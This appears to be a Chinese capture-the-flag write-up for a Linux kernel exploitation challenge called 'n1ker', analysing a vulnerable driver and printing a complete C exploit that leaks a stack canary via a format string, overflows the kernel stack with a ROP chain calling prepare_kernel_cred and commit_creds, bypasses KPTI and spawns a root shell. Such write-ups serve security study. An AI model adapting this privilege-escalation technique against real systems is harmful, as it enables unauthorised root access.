[第六章 CTF之PWN章]n1ker
kernal pwn
首先還是看一下start.sh
#! /bin/shqemu-system-x86_64 \ -m 512M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \ -gdb tcp::1234 -S \ -monitor /dev/null \ -nographic 2>/dev/null \ -smp cores=2,threads=1 \ -cpu kvm64,+smep看到不是單核單線程,那么我們就要小心條件競(jìng)爭(zhēng)。
看得到開了kaslr,smep。
我們說(shuō)內(nèi)核部分的保護(hù)分成四個(gè)方面。
內(nèi)核保護(hù)從四個(gè)方面出發(fā),分別是隔離、訪問控制、異常檢測(cè)、隨機(jī)化
隔離分為smep用戶代碼不可執(zhí)行、smap用戶數(shù)據(jù)不可訪問、KPTI。
隨機(jī)化也分為kaslr、fgkaslr。
然后我們我解壓文件系統(tǒng),看一下init文件。
mkdir core cp rootfs.cpio ./core cd core mv ./rootfs.cpio rootfs.cpio.gz #因?yàn)閏pio是經(jīng)過(guò)gzip壓縮過(guò)的,必須更改名字,gunzip才認(rèn)識(shí) gunzip ./rootfs.cpio.gz #gunzip解壓一會(huì)cpio才可以認(rèn)識(shí),不然就會(huì)報(bào)畸形數(shù)字 cpio -idmv < ./rootfs.cpio #cpio是解壓指令 -idmv是它的四個(gè)參數(shù) #-i或--extract 執(zhí)行copy-in模式,還原備份檔。 #-d或--make-directories 如有需要cpio會(huì)自行建立目錄。 #-v或--verbose 詳細(xì)顯示指令的執(zhí)行過(guò)程。 #-m或preserve-modification-time 不去更換文件的更改時(shí)間
開了KPTI
那么顯然掛載了那個(gè)模塊。
然后也把符號(hào)表讀到了/tmp/kallsyms 就不用泄露地址啥的 直接都有
掛載了devpts,可以考慮劫持tty結(jié)構(gòu)體
然后IDA。
ioctl函數(shù)。
deadbeef似乎是有一個(gè)格式化字符串。
n1drv有個(gè)函數(shù)
copy_user_generic_unrolled
也是一個(gè)復(fù)制拷貝函數(shù)。ida里面沒有顯示參數(shù),直接看匯編吧。
講道理應(yīng)該是三個(gè)參數(shù)。
第一個(gè)call rdi是棧頂。rsi是傳入的user的地址。rdx理所應(yīng)當(dāng)就是復(fù)制的大小。那這里顯然就有棧溢出。
兩個(gè)call一個(gè)在棧里 一個(gè)在堆里 都復(fù)制成功才不報(bào)錯(cuò)
所以一會(huì)malloc得稍微大點(diǎn)。
所以我們的思路就還是比較明確的
格式化字符串泄露canary,基地址甚至不需要泄露 它直接放在了/tmp/kallsyms文件夾里,當(dāng)然泄露泄露也行。
然后直接一個(gè)棧溢出。
開了kpti,還需要繞一下。
分步驟淺談一下
setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0); //緩沖區(qū)關(guān)掉,否則會(huì)沒有輸出。int fd = open("/dev/homuratql666",O_RDWR);if (fd < 0) {printf("wrong with open /dev/homuratql666");}size_t kernal_base ; size_t canary; size_t rop[0x50];char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";add(fd, 0x400);write(fd, format, 50);put(fd);getchar();write(1,"input vmlinux addr\n",43);scanf("%llx",&kernal_base);write(1,"input vmlinux canary\n",45);scanf("%llx",&canary);當(dāng)然要首先拿到基地址
基地址可以在init里面改了權(quán)限
但是這個(gè)題直接可以/tmp/kallsyms也可以
輸出的canary等等啥的scanf輸入就行。
然后就是構(gòu)造rop鏈
exp
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h>void get_shell(void){ puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");if(getuid()){puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(-1);}puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");system("/bin/sh"); }void add(int fd,int size) {ioctl(fd,0x73311337,size); }void put(int fd) {ioctl(fd,0xDEADBEEF); }unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_stats() {asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %3\n""pushfq\n""popq %2\n":"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp):: "memory");printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }int main() { setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);int fd = open("/dev/homuratql666",O_RDWR);if (fd < 0) {printf("wrong with open /dev/homuratql666");}size_t kernal_base ; size_t canary; size_t rop[100];char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";add(fd, 0x400);write(fd, format, 50);put(fd);printf("input vmlinux addr\n");scanf("%llx",&kernal_base);printf("input canary\n");scanf("%llx",&canary);kernal_base = kernal_base - 0x1c827f;size_t prepare_kernel_cred = kernal_base + 0x81790;size_t commit_creds = kernal_base + 0x81410;size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);printf("commit_creds:0x%llx \n",commit_creds);save_stats();int i = 0;for(i = 0; i <= 60; i ++) {rop[i] = "aaaaaaaa";}i = 32;rop[i++] = canary; // canaryrop[i++] = canary; // rbprop[i++] = pop_rdi;rop[i++] = 0;rop[i++] = prepare_kernel_cred;rop[i++] = push_rax;rop[i++] = 0;rop[i++] = 0;rop[i++] = 0;rop[i++] = pop_rbx;rop[i++] = pop_rdx;rop[i++] = call_rbx;rop[i++] = commit_creds;rop[i++] = swapgs_restore_regs_and_return_to_usermode;rop[i++] = 0;rop[i++] = 0;rop[i++] = (size_t) get_shell;rop[i++] = user_cs;rop[i++] = user_eflags;rop[i++] = user_sp;rop[i++] = user_ss;write(fd,rop,0x1b0); //copy can't more than rop }遠(yuǎn)程給的時(shí)間太短 怪不得零解
本地沒問題。
總結(jié)
以上是生活随笔為你收集整理的[第六章 CTF之PWN章]n1ker的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 既有内网又有外网的网络如何设置路由器模式
- 下一篇: win10内置Ubuntu安装图形界面